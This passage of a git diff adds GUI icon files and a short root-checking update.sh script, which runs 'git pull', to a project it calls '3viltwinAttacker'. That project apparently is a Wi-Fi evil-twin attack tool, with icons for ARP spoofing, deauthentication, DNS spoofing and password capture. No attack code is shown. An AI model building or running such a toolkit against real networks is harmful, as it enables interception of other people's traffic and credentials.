0000000..3d3ca4a Binary files /dev/null and b/rsc/Save.png differ diff --git a/rsc/Stop.png b/rsc/Stop.png new file mode 100644 index 0000000..704bedf Binary files /dev/null and b/rsc/Stop.png differ diff --git a/rsc/Vmovetoolbar.png b/rsc/Vmovetoolbar.png new file mode 100644 index 0000000..512edce Binary files /dev/null and b/rsc/Vmovetoolbar.png differ diff --git a/rsc/Vsepartoolbar.png b/rsc/Vsepartoolbar.png new file mode 100644 index 0000000..d9dc156 Binary files /dev/null and b/rsc/Vsepartoolbar.png differ diff --git a/rsc/about.png b/rsc/about.png new file mode 100644 index 0000000..614eb0f Binary files /dev/null and b/rsc/about.png differ diff --git a/rsc/adobe.png b/rsc/adobe.png new file mode 100644 index 0000000..e1fc09e Binary files /dev/null and b/rsc/adobe.png differ diff --git a/rsc/arp.png b/rsc/arp.png new file mode 100644 index 0000000..9063878 Binary files /dev/null and b/rsc/arp.png differ diff --git a/rsc/arp_.png b/rsc/arp_.png new file mode 100644 index 0000000..a37451d Binary files /dev/null and b/rsc/arp_.png differ diff --git a/rsc/branch_closed-on.png b/rsc/branch_closed-on.png new file mode 100644 index 0000000..d081e9b Binary files /dev/null and b/rsc/branch_closed-on.png differ diff --git a/rsc/branch_closed.png b/rsc/branch_closed.png new file mode 100644 index 0000000..d652159 Binary files /dev/null and b/rsc/branch_closed.png differ diff --git a/rsc/branch_open-on.png b/rsc/branch_open-on.png new file mode 100644 index 0000000..ec372b2 Binary files /dev/null and b/rsc/branch_open-on.png differ diff --git a/rsc/branch_open.png b/rsc/branch_open.png new file mode 100644 index 0000000..66f8e1a Binary files /dev/null and b/rsc/branch_open.png differ diff --git a/rsc/capture.png b/rsc/capture.png new file mode 100644 index 0000000..c8e355e Binary files /dev/null and b/rsc/capture.png differ diff --git a/rsc/check.png b/rsc/check.png new file mode 100644 index 0000000..0c25638 Binary files /dev/null and b/rsc/check.png differ diff --git a/rsc/checkbox.png b/rsc/checkbox.png new file mode 100644 index 0000000..b4a9aa3 Binary files /dev/null and b/rsc/checkbox.png differ diff --git a/rsc/checkbox_indeterminate.png b/rsc/checkbox_indeterminate.png new file mode 100644 index 0000000..265ec95 Binary files /dev/null and b/rsc/checkbox_indeterminate.png differ diff --git a/rsc/close-hover.png b/rsc/close-hover.png new file mode 100644 index 0000000..657943a Binary files /dev/null and b/rsc/close-hover.png differ diff --git a/rsc/close-pressed.png b/rsc/close-pressed.png new file mode 100644 index 0000000..937d005 Binary files /dev/null and b/rsc/close-pressed.png differ diff --git a/rsc/close.png b/rsc/close.png new file mode 100644 index 0000000..bc0f576 Binary files /dev/null and b/rsc/close.png differ diff --git a/rsc/computer.png b/rsc/computer.png new file mode 100644 index 0000000..3cebf9d Binary files /dev/null and b/rsc/computer.png differ diff --git a/rsc/database.png b/rsc/database.png new file mode 100644 index 0000000..fd2660f Binary files /dev/null and b/rsc/database.png differ diff --git a/rsc/deauth.png b/rsc/deauth.png new file mode 100644 index 0000000..1444d3a Binary files /dev/null and b/rsc/deauth.png differ diff --git a/rsc/dhcp.png b/rsc/dhcp.png new file mode 100644 index 0000000..823806c Binary files /dev/null and b/rsc/dhcp.png differ diff --git a/rsc/dns.png b/rsc/dns.png new file mode 100644 index 0000000..0b21e3f Binary files /dev/null and b/rsc/dns.png differ diff --git a/rsc/dns_spoof.png b/rsc/dns_spoof.png new file mode 100644 index 0000000..b9c2eee Binary files /dev/null and b/rsc/dns_spoof.png differ diff --git a/rsc/down_arrow.png b/rsc/down_arrow.png new file mode 100644 index 0000000..0ba4c05 Binary files /dev/null and b/rsc/down_arrow.png differ diff --git a/rsc/down_arrow_disabled.png b/rsc/down_arrow_disabled.png new file mode 100644 index 0000000..5805d98 Binary files /dev/null and b/rsc/down_arrow_disabled.png differ diff --git a/rsc/down_arrow_theme2.png b/rsc/down_arrow_theme2.png new file mode 100644 index 0000000..e271f7f Binary files /dev/null and b/rsc/down_arrow_theme2.png differ diff --git a/rsc/etter.png b/rsc/etter.png new file mode 100644 index 0000000..2301b51 Binary files /dev/null and b/rsc/etter.png differ diff --git a/rsc/ettercap.png b/rsc/ettercap.png new file mode 100644 index 0000000..7640527 Binary files /dev/null and b/rsc/ettercap.png differ diff --git a/rsc/icon.ico b/rsc/icon.ico new file mode 100644 index 0000000..e4c5b95 Binary files /dev/null and b/rsc/icon.ico differ diff --git a/rsc/left_arrow.png b/rsc/left_arrow.png new file mode 100644 index 0000000..f808d2d Binary files /dev/null and b/rsc/left_arrow.png differ diff --git a/rsc/left_arrow_disabled.png b/rsc/left_arrow_disabled.png new file mode 100644 index 0000000..f5b9af8 Binary files /dev/null and b/rsc/left_arrow_disabled.png differ diff --git a/rsc/loading2.gif b/rsc/loading2.gif new file mode 100644 index 0000000..981c263 Binary files /dev/null and b/rsc/loading2.gif differ diff --git a/rsc/logo.png b/rsc/logo.png new file mode 100755 index 0000000..d84f67a Binary files /dev/null and b/rsc/logo.png differ diff --git a/rsc/mac.png b/rsc/mac.png new file mode 100644 index 0000000..1941937 Binary files /dev/null and b/rsc/mac.png differ diff --git a/rsc/network.png b/rsc/network.png new file mode 100644 index 0000000..b83da22 Binary files /dev/null and b/rsc/network.png differ diff --git a/rsc/network_off.png b/rsc/network_off.png new file mode 100644 index 0000000..98de4b9 Binary files /dev/null and b/rsc/network_off.png differ diff --git a/rsc/online.png b/rsc/online.png new file mode 100644 index 0000000..fdcaa14 Binary files /dev/null and b/rsc/online.png differ diff --git a/rsc/open.png b/rsc/open.png new file mode 100644 index 0000000..35ccd38 Binary files /dev/null and b/rsc/open.png differ diff --git a/rsc/page.png b/rsc/page.png new file mode 100644 index 0000000..488dace Binary files /dev/null and b/rsc/page.png differ diff --git a/rsc/password.png b/rsc/password.png new file mode 100644 index 0000000..cbf5ea4 Binary files /dev/null and b/rsc/password.png differ diff --git a/rsc/probe.png b/rsc/probe.png new file mode 100644 index 0000000..1415f7e Binary files /dev/null and b/rsc/probe.png differ diff --git a/rsc/refresh.png b/rsc/refresh.png new file mode 100644 index 0000000..195516c Binary files /dev/null and b/rsc/refresh.png differ diff --git a/rsc/report.png b/rsc/report.png new file mode 100644 index 0000000..7e809f5 Binary files /dev/null and b/rsc/report.png differ diff --git a/rsc/right_arrow.png b/rsc/right_arrow.png new file mode 100644 index 0000000..9b0a4e6 Binary files /dev/null and b/rsc/right_arrow.png differ diff --git a/rsc/right_arrow_disabled.png b/rsc/right_arrow_disabled.png new file mode 100644 index 0000000..5c0bee4 Binary files /dev/null and b/rsc/right_arrow_disabled.png differ diff --git a/rsc/scan.png b/rsc/scan.png new file mode 100644 index 0000000..ed5de2b Binary files /dev/null and b/rsc/scan.png differ diff --git a/rsc/server.png b/rsc/server.png new file mode 100644 index 0000000..7a3dde6 Binary files /dev/null and b/rsc/server.png differ diff --git a/rsc/setting.png b/rsc/setting.png new file mode 100644 index 0000000..243a0e6 Binary files /dev/null and b/rsc/setting.png differ diff --git a/rsc/settings.png b/rsc/settings.png new file mode 100644 index 0000000..9558ba3 Binary files /dev/null and b/rsc/settings.png differ diff --git a/rsc/sizegrip.png b/rsc/sizegrip.png new file mode 100644 index 0000000..350583a Binary files /dev/null and b/rsc/sizegrip.png differ diff --git a/rsc/ssl.png b/rsc/ssl.png new file mode 100644 index 0000000..6956c59 Binary files /dev/null and b/rsc/ssl.png differ diff --git a/rsc/start.png b/rsc/start.png new file mode 100644 index 0000000..c53ff0f Binary files /dev/null and b/rsc/start.png differ diff --git a/rsc/stylesheet-branch-end.png b/rsc/stylesheet-branch-end.png new file mode 100644 index 0000000..cb5d3b5 Binary files /dev/null and b/rsc/stylesheet-branch-end.png differ diff --git a/rsc/stylesheet-branch-more.png b/rsc/stylesheet-branch-more.png new file mode 100644 index 0000000..6271140 Binary files /dev/null and b/rsc/stylesheet-branch-more.png differ diff --git a/rsc/stylesheet-vline.png b/rsc/stylesheet-vline.png new file mode 100644 index 0000000..87536cc Binary files /dev/null and b/rsc/stylesheet-vline.png differ diff --git a/rsc/transparent.png b/rsc/transparent.png new file mode 100644 index 0000000..483df25 Binary files /dev/null and b/rsc/transparent.png differ diff --git a/rsc/undock.png b/rsc/undock.png new file mode 100644 index 0000000..88691d7 Binary files /dev/null and b/rsc/undock.png differ diff --git a/rsc/up_arrow.png b/rsc/up_arrow.png new file mode 100644 index 0000000..abcc724 Binary files /dev/null and b/rsc/up_arrow.png differ diff --git a/rsc/up_arrow_disabled.png b/rsc/up_arrow_disabled.png new file mode 100644 index 0000000..b9c8e3b Binary files /dev/null and b/rsc/up_arrow_disabled.png differ diff --git a/rsc/update.png b/rsc/update.png new file mode 100644 index 0000000..08a881f Binary files /dev/null and b/rsc/update.png differ diff --git a/rsc/wifi.png b/rsc/wifi.png new file mode 100644 index 0000000..c5ebd05 Binary files /dev/null and b/rsc/wifi.png differ diff --git a/rsc/winUp.png b/rsc/winUp.png new file mode 100644 index 0000000..0d8dc15 Binary files /dev/null and b/rsc/winUp.png differ diff --git a/update.sh b/update.sh new file mode 100755 index 0000000..c636c0d --- /dev/null +++ b/update.sh @@ -0,0 +1,7 @@ +#!/bin/bash +if [ "$(id -u)" != "0" ]; then + echo "Please run as root" 1>&2 + exit 1 +fi +echo '[!] Updating 3viltwinAttacker' +git pull \ No newline at end of file